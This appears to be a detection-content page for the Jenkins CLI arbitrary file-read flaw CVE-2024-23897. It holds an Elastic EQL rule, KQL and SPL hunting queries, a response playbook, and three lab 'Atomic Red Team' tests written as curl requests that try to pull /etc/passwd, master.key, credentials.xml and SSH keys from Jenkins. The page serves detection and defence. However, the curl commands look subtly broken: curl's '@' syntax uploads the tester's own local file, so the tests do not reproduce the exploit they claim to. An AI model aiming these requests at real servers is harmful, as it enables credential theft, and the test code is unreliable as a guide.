CVE-2024-23897 Elastic Security · Elastic

Detect CVE-2024-23897: Jenkins Arbitrary File Read via CLI Argument Parser (Pre-Auth RCE Chain) in Elastic Security

CVE-2024-23897 is a critical path traversal vulnerability (CWE-22) in Jenkins' built-in CLI argument parser (args4j). The parser expands file contents prefixed with '@' as command arguments, allowing unauthenticated attackers to read arbitrary files from the Jenkins controller filesystem — including secrets, credentials, and SSH keys. When combined with additional weaknesses (e.g., exposed Remember Me tokens or cryptographic keys), this chain enables unauthenticated remote code execution. CVSS 9.8. Actively exploited (CISA KEV). Affects Jenkins <= 2.441 and LTS <= 2.426.2.

MITRE ATT&CK

Tactic
Initial Access Credential Access Execution

Elastic Detection Query

Elastic Security (Elastic)
eql
sequence by source.ip with maxspan=5m
  [network where
    destination.port in (8080, 8443, 443, 80) and
    http.request.method in ("POST", "GET") and
    (
      wildcard(url.path, "*/cli*") or
      wildcard(url.path, "*/remoting/legacy*")
    ) and
    (
      wildcard(url.query, "*@../*") or
      wildcard(url.query, "*@/etc/*") or
      wildcard(url.query, "*@/root*") or
      wildcard(url.query, "*@*secret*") or
      wildcard(url.query, "*@*passwd*") or
      wildcard(url.query, "*@*credentials*") or
      wildcard(url.query, "*@*id_rsa*")
    )
  ]
  [network where
    http.response.status_code in (200, 201, 500) and
    (
      wildcard(url.path, "*/cli*") or
      wildcard(url.path, "*/remoting/legacy*")
    )
  ]
critical severity high confidence

EQL sequence rule detecting CVE-2024-23897 exploitation: correlates an inbound HTTP request to a Jenkins CLI endpoint containing '@'-prefixed path traversal patterns with a subsequent server response within 5 minutes from the same source IP. Response codes 200/201 indicate successful file read; 500 may indicate a parsing error that still revealed file content.

Data Sources

Elastic Network Packet CaptureElastic Agent HTTP IntegrationPacketbeat

Required Tables

logs-network.*packetbeat-*logs-endpoint.events.network-*

False Positives & Tuning

  • Authorized Jenkins CLI scripts using '@' file expansion for legitimate build configuration
  • Internal DevOps tooling that constructs CLI URIs programmatically with file references
  • Penetration testing tooling from authorized IP ranges
  • WAF passthrough of benign scanner traffic against Jenkins instances

Other platforms for CVE-2024-23897


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Unauthenticated Jenkins CLI File Read via args4j @ Expansion

    Expected signal: POST request to /cli with '@/etc/passwd' in body; HTTP 200 response with non-empty body containing passwd file contents; OS-level file open event for /etc/passwd initiated by jenkins process

  2. Test 2Jenkins master.key Extraction for Credential Decryption

    Expected signal: Three sequential POST requests to /cli targeting secrets/master.key, secrets/hudson.util.Secret, and credentials.xml; file access events (auditd/Sysmon) for all three files initiated by the Jenkins JVM process; HTTP 200 responses with non-trivial body sizes

  3. Test 3Jenkins CLI Path Traversal via Remoting Legacy Endpoint

    Expected signal: POST requests to /remoting/legacy and /cli with '@' file arguments; path traversal sequences in URI or body; file access events for .ssh/id_rsa; HTTP responses with key material in body


Response Playbook

Triage

  1. Confirm the targeted Jenkins instance version: retrieve the Jenkins version from `/login` page HTML, the `/api/json` endpoint, or server response headers. Determine if it is <= 2.441 (or LTS <= 2.426.2) to confirm vulnerability applicability.
  2. Identify the specific file(s) targeted by the '@' argument: extract the full URI or POST body from web/proxy logs to determine what was requested (e.g., `/var/jenkins_home/secrets/master.key`, `/etc/passwd`, `~/.ssh/id_rsa`, `credentials.xml`).
  3. Determine authentication context: check whether the request was unauthenticated (no session cookie, no Authorization header) — pre-auth exploitation is the primary concern. If authenticated, assess the account's privilege level.
  4. Assess response data: review HTTP response body sizes and status codes. A 200 response with non-trivial body length may indicate successful file read. Correlate with Jenkins application logs (`jenkins.log`) for any exceptions or CLI command traces.
  5. Pivot on attacker IP: query all activity from the source IP across the last 72 hours — look for reconnaissance (Jenkins fingerprinting, `/api/json` queries), credential stuffing, and post-exploitation activity (reverse shells, new user creation, secret exfiltration).

Containment

  1. Immediately disable Jenkins CLI access: in Jenkins > Manage Jenkins > Security, set CLI access over Remoting to 'Disabled'. If Jenkins version is unpatched, apply this as an emergency control before patching. Alternatively, block the `/cli` and `/remoting/legacy` URI paths at the WAF or reverse proxy.
  2. Rotate all credentials stored on the Jenkins controller: `master.key`, `hudson.util.Secret`, all credentials in `credentials.xml`, SSH keys used by Jenkins agents, API tokens, and any third-party service credentials (cloud providers, SCM tokens, container registries). Treat all as compromised if the attacker successfully read any file.

Evidence Collection

  1. Preserve Jenkins logs: collect `/var/log/jenkins/jenkins.log`, access logs for the reverse proxy (nginx/Apache), and audit logs from the Jenkins Audit Trail plugin (if installed) before any remediation that may rotate log files.
  2. Capture network forensics: export PCAP or NetFlow data for the attacker's source IP spanning the attack window. If a WAF is in use, export full request/response logs including body content to determine exactly which files were read and what data was returned.

Escalation Criteria

  • !Escalate immediately to incident response if the attacker successfully read `master.key`, `hudson.util.Secret`, or `credentials.xml` — these files together allow decryption of all stored Jenkins credentials, enabling lateral movement to every connected system (cloud accounts, container registries, SCM, production infrastructure).
  • !Escalate to CISO and legal if Jenkins stores credentials or secrets related to production customer data systems, PCI-scoped environments, or third-party SaaS integrations — a credential breach in this context may trigger breach notification obligations.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Jenkins access log entries: POST/GET to `/cli` or `/remoting/legacy` with '@' patterns in URI or request body
  • >Jenkins application log (`jenkins.log`): CLI command traces, argument parsing exceptions, or `java.io.FileNotFoundException` errors revealing targeted paths
  • >Jenkins `secrets/` directory integrity: check `master.key` and `hudson.util.Secret` modification timestamps against the attack window
  • >OS-level file access auditing (auditd/Sysmon): file open events on sensitive Jenkins files (`credentials.xml`, `master.key`, SSH keys) initiated by the Jenkins process
  • >Network captures: HTTP response body content confirming successful file read (non-empty 200 responses to CLI endpoint)

Tuning Guidance

Begin with high-confidence suppression by creating a reference set or lookup of authorized CI/CD service account IPs and scanner IPs; suppress alerts where source IP is in this set and no sensitive file patterns are present in the URI. For environments with a WAF, tune on response body size — legitimate CLI health probes return small responses, while successful file reads return content proportional to file size. If Jenkins is behind an authenticated proxy, suppress unauthenticated requests that are blocked at the proxy layer before reaching Jenkins. Increase alert fidelity by correlating with post-exploitation indicators: a CLI request followed within 10 minutes by a new Jenkins admin user creation event, a new SSH authorized_keys entry, or outbound DNS/HTTP to uncommon destinations should be treated as confirmed compromise.


Hunting Queries

Retrospective threat hunt for all source IPs that have accessed Jenkins CLI or remoting endpoints in the past 30 days, regardless of payload content. Aggregates by source IP to surface low-and-slow reconnaissance or repeated exploitation attempts that may have evaded signature-based detection. Cross-references with threat intel indicators.

Hunting — KQL
kql
CommonSecurityLog
| where TimeGenerated >= ago(30d)
| where RequestURL has "/cli" or RequestURL has "remoting"
| where isnotempty(RequestURL)
| summarize request_count=count(), unique_paths=dcount(RequestURL), first_seen=min(TimeGenerated), last_seen=max(TimeGenerated)
    by SourceIP
| where request_count >= 3
| join kind=leftouter (
    ThreatIntelligenceIndicator
    | where isnotempty(NetworkIP)
    | summarize by NetworkIP, ThreatType, ConfidenceScore
  ) on $left.SourceIP == $right.NetworkIP
| sort by request_count desc
Hunting — SPL
spl
index=* sourcetype IN ("access_combined", "apache:access", "nginx:plus:kv", "iis")
  (uri="*/cli*" OR uri="*/remoting/legacy*")
| stats count as total_requests, dc(uri) as unique_uris, earliest(_time) as first_seen, latest(_time) as last_seen
    by src_ip, sourcetype
| where total_requests >= 3
| eval hunt_window="30d"
| sort - total_requests

Host-level hunt for file access events (Windows Security Event 4663/4656, Linux auditd PATH records) targeting Jenkins credential or key files. Identifies cases where file read succeeded at the OS level, confirming successful data exfiltration during CVE-2024-23897 exploitation.

Hunting — KQL
kql
SecurityEvent
| where TimeGenerated >= ago(7d)
| where EventID in (4663, 4656)
| where ObjectName has_any ("jenkins", "credentials.xml", "master.key", "hudson.util.Secret", "id_rsa")
| project TimeGenerated, Computer, Account, ObjectName, ObjectType, ProcessName, EventID
| sort by TimeGenerated desc
Hunting — SPL
spl
index=* sourcetype IN ("WinEventLog:Security", "linux:audit")
  (EventCode=4663 OR EventCode=4656 OR type=PATH)
  (ObjectName="*jenkins*" OR ObjectName="*credentials.xml*" OR ObjectName="*master.key*" OR ObjectName="*hudson.util.Secret*" OR ObjectName="*id_rsa*")
| table _time, host, user, ObjectName, type, action
| sort - _time

Atomic Red Team Tests

Test 1 Unauthenticated Jenkins CLI File Read via args4j @ Expansion
linux

Simulates the core CVE-2024-23897 vulnerability by sending a POST request to the Jenkins CLI endpoint with an '@' file expansion argument targeting /etc/passwd. This is the canonical unauthenticated file read primitive. Run only in a lab environment against an unpatched Jenkins instance.

Command

bash
# Lab only — requires Jenkins <= 2.441 at JENKINS_URL
JENKINS_URL="http://jenkins-lab:8080"
curl -s -X POST "${JENKINS_URL}/cli" \
  -H 'Session: 00000000-0000-0000-0000-000000000000' \
  -H 'Side: download' \
  --data-binary '@/etc/passwd' \
  -o /tmp/jenkins_etc_passwd_response.txt
cat /tmp/jenkins_etc_passwd_response.txt

Cleanup

bash
rm -f /tmp/jenkins_etc_passwd_response.txt

Expected Telemetry

POST request to /cli with '@/etc/passwd' in body; HTTP 200 response with non-empty body containing passwd file contents; OS-level file open event for /etc/passwd initiated by jenkins process

Expected Detection

SPL/KQL alert fires on CLI endpoint access with '@/etc/passwd' pattern; SIEM shows source IP with request_count >= 1 to /cli with sensitive file pattern

Test 2 Jenkins master.key Extraction for Credential Decryption
linux

Simulates the post-exploitation phase of CVE-2024-23897 where an attacker reads the Jenkins master.key and hudson.util.Secret files, which are required to decrypt credentials stored in credentials.xml. This enables offline decryption of all stored Jenkins credentials.

Command

bash
# Lab only
JENKINS_URL="http://jenkins-lab:8080"
JENKINS_HOME="/var/jenkins_home"

# Read master.key
curl -s -X POST "${JENKINS_URL}/cli" \
  -H 'Session: 00000000-0000-0000-0000-000000000000' \
  -H 'Side: download' \
  --data-binary "@${JENKINS_HOME}/secrets/master.key" \
  -o /tmp/master.key

# Read hudson.util.Secret
curl -s -X POST "${JENKINS_URL}/cli" \
  -H 'Session: 00000000-0000-0000-0000-000000000000' \
  -H 'Side: download' \
  --data-binary "@${JENKINS_HOME}/secrets/hudson.util.Secret" \
  -o /tmp/hudson.util.Secret

# Read credentials.xml
curl -s -X POST "${JENKINS_URL}/cli" \
  -H 'Session: 00000000-0000-0000-0000-000000000000' \
  -H 'Side: download' \
  --data-binary "@${JENKINS_HOME}/credentials.xml" \
  -o /tmp/credentials.xml

ls -la /tmp/master.key /tmp/hudson.util.Secret /tmp/credentials.xml

Cleanup

bash
rm -f /tmp/master.key /tmp/hudson.util.Secret /tmp/credentials.xml

Expected Telemetry

Three sequential POST requests to /cli targeting secrets/master.key, secrets/hudson.util.Secret, and credentials.xml; file access events (auditd/Sysmon) for all three files initiated by the Jenkins JVM process; HTTP 200 responses with non-trivial body sizes

Expected Detection

Alert fires for each request to /cli with sensitive file patterns; hunting query surfaces three requests from same IP within short window; forensic artifact check shows credentials.xml access timestamp updated

Test 3 Jenkins CLI Path Traversal via Remoting Legacy Endpoint
linux

Tests the alternative remoting/legacy endpoint path used in some CVE-2024-23897 exploitation variants. Some PoC tools use this endpoint instead of /cli. Targets the Jenkins SSH key used for agent communication.

Command

bash
# Lab only
JENKINS_URL="http://jenkins-lab:8080"

# Attempt via remoting legacy endpoint
curl -s -X POST "${JENKINS_URL}/remoting/legacy" \
  -H 'Content-Type: application/octet-stream' \
  -H 'Session: 00000000-0000-0000-0000-000000000000' \
  -H 'Side: download' \
  --data-binary '@/var/jenkins_home/.ssh/id_rsa' \
  -o /tmp/jenkins_id_rsa_response.txt

# Also test path traversal variant
curl -s -X POST "${JENKINS_URL}/cli" \
  -H 'Session: 00000000-0000-0000-0000-000000000000' \
  -H 'Side: download' \
  --data-binary '@../../etc/passwd' \
  -o /tmp/jenkins_traversal_response.txt

cat /tmp/jenkins_id_rsa_response.txt
cat /tmp/jenkins_traversal_response.txt

Cleanup

bash
rm -f /tmp/jenkins_id_rsa_response.txt /tmp/jenkins_traversal_response.txt

Expected Telemetry

POST requests to /remoting/legacy and /cli with '@' file arguments; path traversal sequences in URI or body; file access events for .ssh/id_rsa; HTTP responses with key material in body

Expected Detection

KQL/SPL rules fire on both /remoting/legacy and /cli endpoints with '@.*id_rsa' and '@../../' path traversal patterns; QRadar AQL alert surfaces remoting endpoint access with sensitive file patterns

Related Detections